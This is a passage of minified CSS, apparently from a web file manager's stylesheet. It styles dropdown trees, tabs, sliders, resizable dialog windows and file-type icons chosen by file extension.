a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#e6e6e6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3e9bf4', endColorstr='#0469de');background-image:-webkit-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-moz-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-o-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-ms-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);-pie-background:linear-gradient(to to bottom,#3e9bf4 0,#0469de 100%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #adabad;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;top:8px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:12px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:12px;height:auto;}.aui-title .x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass,.x-lrc{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none 